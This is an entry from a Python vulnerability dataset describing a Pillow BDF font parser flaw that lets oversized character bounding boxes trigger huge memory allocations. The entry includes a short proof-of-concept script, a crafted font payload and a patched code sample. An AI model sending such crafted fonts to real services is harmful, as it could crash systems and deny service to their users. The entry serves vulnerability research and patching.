CVE-2026-55379
Pillow's BDF font parser allows a DoS via excessive memory allocation.
- CVSS 7.5
- CWE-789
- Resource Management
- Local
Pillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow's documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.
- CWE
- CWE-789
- CVSS base score
- 7.5
- Published
- 2026-07-06
- OWASP
- A04 Insecure Design
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Resource Management
- Subcategory
- Resource Exhaustion
- Accessibility scope
- Local
- Impact
- Denial of Service (DoS)
- Affected component
- Pillow
- Fixed by upgrading
- Yes
Solution
Upgrade Pillow to version 12.3.0 or later.
Vulnerable code sample
from PIL import BdfFontFile
import io
# This code demonstrates the vulnerability. On a vulnerable version of Pillow,
# it will attempt a very large memory allocation and likely crash the process.
# The BBX line defines a character with a 90000x90000 pixel bounding box.
malicious_bdf_data = b"""
STARTFONT 2.1
FONT malicious_font
SIZE 16 75 75
CHARS 1
STARTCHAR exploit
ENCODING 1
SWIDTH 500 0
DWIDTH 8 0
BBX 90000 90000 0 0
BITMAP
00
ENDCHAR
ENDFONT
"""
font_file = io.BytesIO(malicious_bdf_data)
# In the vulnerable version, the BdfFontFile parser is called on initialization.
# It reads the huge BBX dimensions and calls Image.new() without checking
# for a decompression bomb, triggering massive memory allocation.
font_parser = BdfFontFile.BdfFontFile(font_file)Patched code sample
from PIL import Image
def fixed_bdf_char_parsing(bbx_string_from_font_file):
"""
Simplified demonstration of the fix for the vulnerability. The original
vulnerability existed because the dimensions were passed to Image.new()
without the _decompression_bomb_check call.
"""
# Attacker-controlled dimensions are parsed from the font file.
# e.g., bbx_string_from_font_file = "50000 50000 0 0"
w, h, x_offset, y_offset = [int(p) for p in bbx_string_from_font_file.split()]
if w <= 0 or h <= 0:
return None
# THE FIX: Add a decompression bomb check before memory allocation.
# This call was missing in the vulnerable versions.
Image._decompression_bomb_check((w, h))
# The vulnerable call is now protected. This line will only be reached
# if the dimensions are considered safe by Pillow.
im = Image.new("1", (w, h))
return imPayload
STARTFONT 2.1
FONT -exploit-font-
SIZE 16 75 75
FONTBOUNDINGBOX 16 16 0 0
CHARS 1
STARTCHAR exploit
ENCODING 1
SWIDTH 500 0
DWIDTH 8 0
BBX 65535 65535 0 0
BITMAP
ENDCHAR
ENDFONT
Cite this entry
@misc{vaitp:cve202655379,
title = {{Pillow's BDF font parser allows a DoS via excessive memory allocation.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-55379},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-55379/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
